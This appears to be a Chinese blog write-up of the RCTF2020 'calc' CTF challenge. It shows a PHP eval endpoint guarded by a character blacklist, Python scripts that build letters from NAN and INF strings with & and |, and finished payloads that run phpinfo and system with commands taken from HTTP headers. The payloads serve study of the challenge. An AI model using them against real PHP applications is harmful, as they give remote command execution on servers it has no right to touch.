Kafka rinetd Nmap java class 另类堆栈 sqlite gwt path pyqt request tags jtable Movejs 安卓项目实战 软件测试实战项目 quartz配置 websocket库 python类和对象 如何配置python环境 python程序代码 java基础教程 java基础课程 java字符串函数 js选项卡 rndis驱动下载 苹果手机老是自动重启 视频相册制作软件 mpg格式转换 c语言编程实例 抖音代码 js转数字 ps反选 js文件上传插件 脚本怎么用 ps给图片加边框 打开组策略的命令 超级好友 origin怎么画图 ps怎么做圆角矩形 画吧教程
当前位置: 首页 > 学习教程  > 编程语言

3webdogs Day4 第三题:[RCTF2020]calc

2021/1/28 23:22:06 文章标签:

考点 利用&和|构造字符BypassPHP对大小写不敏感PHP函数执行特性 题目代码 <?php error_reporting(0); if(!isset($_GET[num])){show_source(__FILE__); }else{$str $_GET[num];$blacklist [[a-z], [\x7f-\xff], \s,"", ", , \[, \],\$, _, \\\\,\^,…

考点

  • 利用&|构造字符Bypass
  • PHP对大小写不敏感
  • PHP函数执行特性

题目代码

 <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?>

代码执行,GET传参num,其内容不能包含字母,%7F-%FF(封死了取反),以及如下内容

' " ` [ ] $ _ \\ ^ , s

解题思路

可以看到,封掉了^,但是没有封掉& | ~ / * - + . {} % @ ! # () - =和数字,也就是说要用这些符号去拼接出来字符

在PHP7中,在计算时如果分子分母同为0即0/0,那么echo的结果是NAN;如果仅分母为0即5/0,那么结果是INF。这样做的话,NANINF的数据类型均为float,再用.拼接一下就可以利用强制类型转换变成字符串,这样就可以用{}读取字符了

目前可用的字母和数字

0-9
N : ((0/0).(0)){0}
A : ((0/0).(0)){1}
I : ((1/0).(0)){0}
F : ((1/0).(0)){2}

根据以下脚本,原始table用&运算可得到N&I=H,填充到table中,然后再用|运算运行,这样循环下去

table = list('0123456789NAIFH')
char_sum = '0123456789NAIFH'
table_x = {
    'N': '((0/0).(0)){0}',
    'A': '((0/0).(0)){1}',
    'I': '((1/0).(0)){0}',
    'F': '((1/0).(0)){2}',
    '0': '((0).(0)){0}',
    '1': '((1).(0)){0}',
    '2': '((2).(0)){0}',
    '3': '((3).(0)){0}',
    '4': '((4).(0)){0}',
    '5': '((5).(0)){0}',
    '6': '((6).(0)){0}',
    '7': '((7).(0)){0}',
    '8': '((8).(0)){0}',
    '9': '((9).(0)){0}',
}
def calc_char(table, operator):
    if operator == '&':
        op = lambda x,y:x&y
    elif operator == '|':
        op = lambda x,y:x|y
    new_char_list = []
    for i in range(len(table)):
        for j in range(len(table)):
            try:
                new_char = chr(op(ord(table[i]), ord(table[j])))
                if new_char not in table:
                    if (new_char>='a' and new_char<='z') or (new_char>='A' and new_char<='Z'):
                        if new_char not in new_char_list:
                            new_char_list.append(new_char)
                            char_sum = char_sum + new_char
                            res = table[i] + operator + table[j] + '=' + new_char
                            table_x[new_char] = '('+table_x[table[i]]+')' +operator+ '('+table_x[table[j]]+')'
                            print(res)
                            

            except:
                continue
    
                

calc_char(table, '&')
print(table_x)
print(char_sum)

不断套娃最后得到如下编码表

    'N': '((0/0).(0)){0}',
    'A': '((0/0).(0)){1}',
    'I': '((1/0).(0)){0}',
    'F': '((1/0).(0)){2}',
    'H': '(((0/0).(0)){0})&(((1/0).(0)){0})',
    'q': '(((0).(0)){0})|(((0/0).(0)){1})', 
    'y': '(((0).(0)){0})|(((1/0).(0)){0})', 
    'v': '(((0).(0)){0})|(((1/0).(0)){2})', 
    'x': '(((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))', 
    'w': '(((1).(0)){0})|(((1/0).(0)){2})', 
    's': '(((2).(0)){0})|(((0/0).(0)){1})', 
    'z': '(((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))', 
    'u': '(((4).(0)){0})|(((0/0).(0)){1})', 
    'O': '(((0/0).(0)){0})|(((0/0).(0)){1})', 
    'G': '(((0/0).(0)){1})|(((1/0).(0)){2})',
    'B': '(((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1}))', 
    'J': '(((0/0).(0)){0})&((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))',
    'D': '(((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1}))', 
    'p': '((((0).(0)){0})|(((0/0).(0)){1}))&((((0).(0)){0})|(((1/0).(0)){2}))', 
    'r': '((((0).(0)){0})|(((1/0).(0)){2}))&((((2).(0)){0})|(((0/0).(0)){1}))', 
    't': '((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))', 
    'C': '((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))', 
    'E': '((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))',
    'K': '(((0/0).(0)){1})|((((0/0).(0)){0})&((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))))', 
    'M': '(((1/0).(0)){0})|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))', 
    'L': '((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))'

然后用如下脚本生成拼接的结果

table = {
    'N': '((0/0).(0)){0}',
    'A': '((0/0).(0)){1}',
    'I': '((1/0).(0)){0}',
    'F': '((1/0).(0)){2}',
    'H': '(((0/0).(0)){0})&(((1/0).(0)){0})',
    'q': '(((0).(0)){0})|(((0/0).(0)){1})', 
    'y': '(((0).(0)){0})|(((1/0).(0)){0})', 
    'v': '(((0).(0)){0})|(((1/0).(0)){2})', 
    'x': '(((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))', 
    'w': '(((1).(0)){0})|(((1/0).(0)){2})', 
    's': '(((2).(0)){0})|(((0/0).(0)){1})', 
    'z': '(((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))', 
    'u': '(((4).(0)){0})|(((0/0).(0)){1})', 
    'O': '(((0/0).(0)){0})|(((0/0).(0)){1})', 
    'G': '(((0/0).(0)){1})|(((1/0).(0)){2})',
    'B': '(((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1}))', 
    'J': '(((0/0).(0)){0})&((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))',
    'D': '(((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1}))', 
    'p': '((((0).(0)){0})|(((0/0).(0)){1}))&((((0).(0)){0})|(((1/0).(0)){2}))', 
    'r': '((((0).(0)){0})|(((1/0).(0)){2}))&((((2).(0)){0})|(((0/0).(0)){1}))', 
    't': '((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))', 
    'C': '((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))', 
    'E': '((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))',
    'K': '(((0/0).(0)){1})|((((0/0).(0)){0})&((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0}))))', 
    'M': '(((1/0).(0)){0})|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))', 
    'L': '((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))'
}
# target = list('ls')
# target = list('phpinfo')
res = ''
for i in target:
    if i in table.keys():
        res = res + '(' + table[i] + ')' + '.'
    elif i.upper() in table.keys():
        res = res + '(' + table[i.upper()] + ')' + '.'
    else:
        print('NOOOOOOOOOOOOO!')
        
        
print(res)

再利用PHP函数执行的特性去代码执行

// (phpinfo)()
((((((0).(0)){0})|(((0/0).(0)){1}))&((((0).(0)){0})|(((1/0).(0)){2}))).((((0/0).(0)){0})&(((1/0).(0)){0})).(((((0).(0)){0})|(((0/0).(0)){1}))&((((0).(0)){0})|(((1/0).(0)){2}))).(((1/0).(0)){0}).(((0/0).(0)){0}).(((1/0).(0)){2}).((((0/0).(0)){0})|(((0/0).(0)){1})))()

// (system)(Ls)或者是(system)(dir)
// 这里不能用是因为windows对系统命令大小写不敏感,而Linux区分大小写
(((((2).(0)){0})|(((0/0).(0)){1})).((((0).(0)){0})|(((1/0).(0)){0})).((((2).(0)){0})|(((0/0).(0)){1})).(((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).((((1/0).(0)){0})|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))))(((((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))).((((2).(0)){0})|(((0/0).(0)){1}))))

// (system)(((getallheaders)(){1234}))
(((((2).(0)){0})|(((0/0).(0)){1})).((((0).(0)){0})|(((1/0).(0)){0})).((((2).(0)){0})|(((0/0).(0)){1})).(((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).((((1/0).(0)){0})|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))))(((((((0/0).(0)){1})|(((1/0).(0)){2})).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).(((((0).(0)){0})|(((1/0).(0)){2}))&((((4).(0)){0})|(((0/0).(0)){1}))).(((0/0).(0)){1}).(((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))).(((((0/0).(0)){0})&(((1/0).(0)){0}))|((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))).((((0/0).(0)){0})&(((1/0).(0)){0})).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).(((0/0).(0)){1}).((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1}))).(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1}))).(((((0).(0)){0})|(((1/0).(0)){2}))&((((2).(0)){0})|(((0/0).(0)){1}))).((((2).(0)){0})|(((0/0).(0)){1})))(){1234}))

本文链接: http://www.dtmao.cc/news_show_650178.shtml

附件下载

上一篇:Webpack(四):eslint

下一篇:1.28

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?